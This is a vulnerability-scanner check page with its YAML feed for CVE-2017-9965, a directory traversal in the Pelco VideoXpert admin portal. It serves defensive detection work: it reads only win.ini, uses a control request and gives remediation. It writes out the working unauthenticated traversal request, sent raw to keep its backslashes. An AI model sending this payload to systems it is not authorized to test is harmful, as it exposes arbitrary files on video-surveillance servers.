Pelco VideoXpert — 1 vulnerability check
noctis ships 1 vulnerability check for Pelco VideoXpert, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Pelco VideoXpert Admin Portal Directory Traversal
| CVE | CVE-2017-9965 |
|---|---|
| Severity | medium · CVSS 5.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/pelco-videoxpert/CVE-2017-9965.yaml |
Tests the Pelco VideoXpert Core admin portal for the directory traversal fixed in VideoXpert 2.1. Without any login, the feed requests /portal//..\\\..\\\..\\\..\\\windows\win.ini, then the same path with eight backslash-separated "..\" levels, over a raw HTTP connection so the backslashes reach the server unchanged. The content of the Windows win.ini file in a 200 reply confirms that files outside the portal directory can be read. A control request for an absent random file must not return win.ini, so a server that answers every request with the same content is not reported. Only the standard win.ini configuration file is read.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /portal//{{up}}windows\win.ini HTTP/1.0 - Checks
winini_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\]) - Raw TCP (TLS on HTTPS), sent verbatim:
GET /portal//{{up}}windows\win.ini.noctis-absent-{{oob_token}} HTTP/1.0 - Checks
ctrl_r.bannerfor(; for 16-bit app support|\[fonts\]) - Checks
upfor\.\.→ finding QoD 75: Pelco VideoXpert Admin Portal Directory Traversal (CVE-2017-9965)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-9965
- https://www.cisa.gov/news-events/ics-advisories/icsa-17-355-02
- https://www.exploit-db.com/exploits/42311
Feed source — tests/vulnerabilities/pelco-videoxpert/CVE-2017-9965.yaml
# Pelco VideoXpert Core admin portal directory traversal — CVE-2017-9965
#
# The VideoXpert Core admin portal (Jetty on Windows) serves /portal/ files
# without rejecting backslash-separated "..\" segments, so
# GET /portal//..\\\..\\\..\\\..\\\windows\win.ini
# walks out of the web directory and returns any file the service can read
# (ZSL-2017-5419 / EDB-42311, ICS-CERT ICSA-17-355-02; fixed in VideoXpert
# 2.1). The same advisory lists CVE-2017-9964 (the auth_token cookie can be
# read from the vxcore log through this traversal) and CVE-2017-9966 (an
# authenticated user replacing files to run code as SYSTEM). Neither is
# probed: reading the log would exfiltrate live session tokens, and 9966
# needs a login and a file overwrite. The feed therefore names CVE-2017-9965
# only, with its NVD CVSS v3 score (5.8).
#
# Detection (benign, read-only): the request above, then the same traversal
# eight levels deep (installs below a deeper directory), matching the content
# of c:\windows\win.ini ("; for 16-bit app support" / "[fonts]") under an
# HTTP 200 status line. QoD 75 (response analysis).
# The request goes out raw through tcp_connect: an HTTP client library would
# rewrite the backslashes ("\" → "/" in special-scheme URLs) and resolve the
# ".." before sending.
#
# Improvements over the source NASL:
# - The NASL only runs where its VideoXpert detection found the product.
# The feed sends the probe directly, so a portal whose landing page or
# headers differ is still tested.
# - A second, deeper traversal catches an install directory more than
# four levels below the drive root.
# - A control request for an absent random file (its name contains
# win.ini) must come back WITHOUT the file content; a server that
# returns win.ini for every request is not reported (fail-closed: no
# control reply → no finding).
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_pelco_videoxpert_mult_vuln.nasl
# (GPL-2.0-only). Request path and match pattern taken from that plugin.
uid: 80835e93-e26a-4ed0-9111-a35e2eafc74d
name: "Pelco VideoXpert Admin Portal Directory Traversal (CVE-2017-9965)"
description: |
Tests the Pelco VideoXpert Core admin portal for the directory traversal
fixed in VideoXpert 2.1. Without any login, the feed requests
/portal//..\\\..\\\..\\\..\\\windows\win.ini, then the same path with
eight backslash-separated "..\" levels, over a raw HTTP connection so the
backslashes reach the server unchanged. The content of the Windows win.ini
file in a 200 reply confirms that files outside the portal directory can
be read. A control request for an absent random file must not return
win.ini, so a server that answers every request with the same content is
not reported. Only the standard win.ini configuration file is read.
cves: [CVE-2017-9965]
cvss: 5.8
severity: medium
category: file-read
confidence_base: 0.30
tags: [pelco, videoxpert, schneider-electric, vms, cctv, jetty, path-traversal, file-read, windows]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-9965"
- "https://www.cisa.gov/news-events/ics-advisories/icsa-17-355-02"
- "https://www.exploit-db.com/exploits/42311"
# OpenVAS/Greenbone NASL 2017/gb_pelco_videoxpert_mult_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per traversal depth. Each
# pass resets the values it reads, so nothing is left over from the
# previous pass.
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {connected: false, banner: ""}
loop:
var: up
over:
- "..\\\\\\..\\\\\\..\\\\\\..\\\\\\"
- "..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\"
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
- id: init-hit
action: set_var
var_name: winini_hit
var_value: false
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── c:\windows\win.ini ───────────────────────────────────────────────────
- id: read-winini
action: tcp_connect
port: "{{port}}"
send: "GET /portal//{{up}}windows\\win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winini_r
- id: winini-content
action: match
source: winini_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: "winini_r.connected == true"
on_match:
set_vars:
winini_hit: true
# ── Control: same traversal, absent random file — must NOT carry win.ini ─
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET /portal//{{up}}windows\\win.ini.noctis-absent-{{oob_token}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: "winini_hit == true"
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.banner
pattern: "(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: "winini_hit == true && ctrl_r.connected == true"
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report
action: match
source: up
pattern: "\\.\\."
condition: 'winini_hit == true && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
on_match:
finding:
title: "Pelco VideoXpert Admin Portal Directory Traversal (CVE-2017-9965)"
description: "An unauthenticated request to the VideoXpert admin portal with backslash-separated \"..\\\" segments returned the content of c:\\windows\\win.ini, a file outside the portal directory, while the same request for an absent file did not. Any file readable by the VideoXpert Core service can be read this way, including its logs and key material."
remediation: "Upgrade VideoXpert Core / Enterprise to version 2.1 or later (Schneider Electric SEVD-2017-339-01), and do not expose the admin portal to untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /portal//{{up}}windows\\win.ini returned the content of c:\\windows\\win.ini; control for an absent file returned no file content"
stop: true